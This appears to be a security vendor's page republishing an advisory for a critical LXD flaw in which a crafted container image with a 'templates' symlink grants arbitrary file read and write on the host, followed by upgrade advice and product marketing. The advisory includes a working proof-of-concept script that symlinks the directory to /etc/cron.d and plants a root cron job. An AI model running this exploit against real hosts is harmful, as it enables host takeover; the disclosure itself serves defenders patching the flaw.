GHSA-JPF8-86F3-WP38

GHSA-JPF8-86F3-WP38 is a critical-severity security vulnerability in github.com/canonical/lxd (go), affecting versions < 0.0.0-20260203144152-d1c8ba15d160. It is fixed in 0.0.0-20260203144152-d1c8ba15d160.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

LXD has arbitrary file read+write on host via templates/ symlink in malicious image

Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479

A specially crafted image can be used to read or create/write arbitrary
files on the host; possibly leading to arbitrary command execution.

Details

For container images, internal/server/storage/utils.go calls
archive.Unpack(imageFile, destPath, ...). The tar extraction path in
shared/archive/archive.go excludes device nodes, but it does not
reject a top-level templates symlink.

In practice, this allows a malicious actor to access an arbitrary
directory and edit arbitrary files in it.

PoC

Below, we map the templates directory to /etc/cron.d on the host, but
it can be mapped anywhere. We then create a cronjob to run id as root.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC templates symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink

incus config template ls afrw-image-templates-symlink

# read
#incus config template show afrw-image-templates-symlink $FILENAME

# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc

Impact

Arbitrary file read and write on the host via unsanitized symlink;
possibly leading to command execution.

GHSA-JPF8-86F3-WP38 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260203144152-d1c8ba15d160); upgrading removes the vulnerable code path.

Affected versions

github.com/canonical/lxd (< 0.0.0-20260203144152-d1c8ba15d160)

Security releases

github.com/canonical/lxd → 0.0.0-20260203144152-d1c8ba15d160 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade github.com/canonical/lxd to 0.0.0-20260203144152-d1c8ba15d160 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-JPF8-86F3-WP38? GHSA-JPF8-86F3-WP38 is a critical-severity security vulnerability in github.com/canonical/lxd (go), affecting versions < 0.0.0-20260203144152-d1c8ba15d160. It is fixed in 0.0.0-20260203144152-d1c8ba15d160.
  2. How severe is GHSA-JPF8-86F3-WP38? GHSA-JPF8-86F3-WP38 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/canonical/lxd are affected by GHSA-JPF8-86F3-WP38? github.com/canonical/lxd (go) versions < 0.0.0-20260203144152-d1c8ba15d160 is affected.
  4. Is there a fix for GHSA-JPF8-86F3-WP38? Yes. GHSA-JPF8-86F3-WP38 is fixed in 0.0.0-20260203144152-d1c8ba15d160. Upgrade to this version or later.
  5. Is GHSA-JPF8-86F3-WP38 exploitable, and should I be worried? Whether GHSA-JPF8-86F3-WP38 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-JPF8-86F3-WP38 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-JPF8-86F3-WP38? Upgrade github.com/canonical/lxd to 0.0.0-20260203144152-d1c8ba15d160 or later.

Other vulnerabilities in github.com/canonical/lxd

Stop the waste.
Protect your environment with Kodem.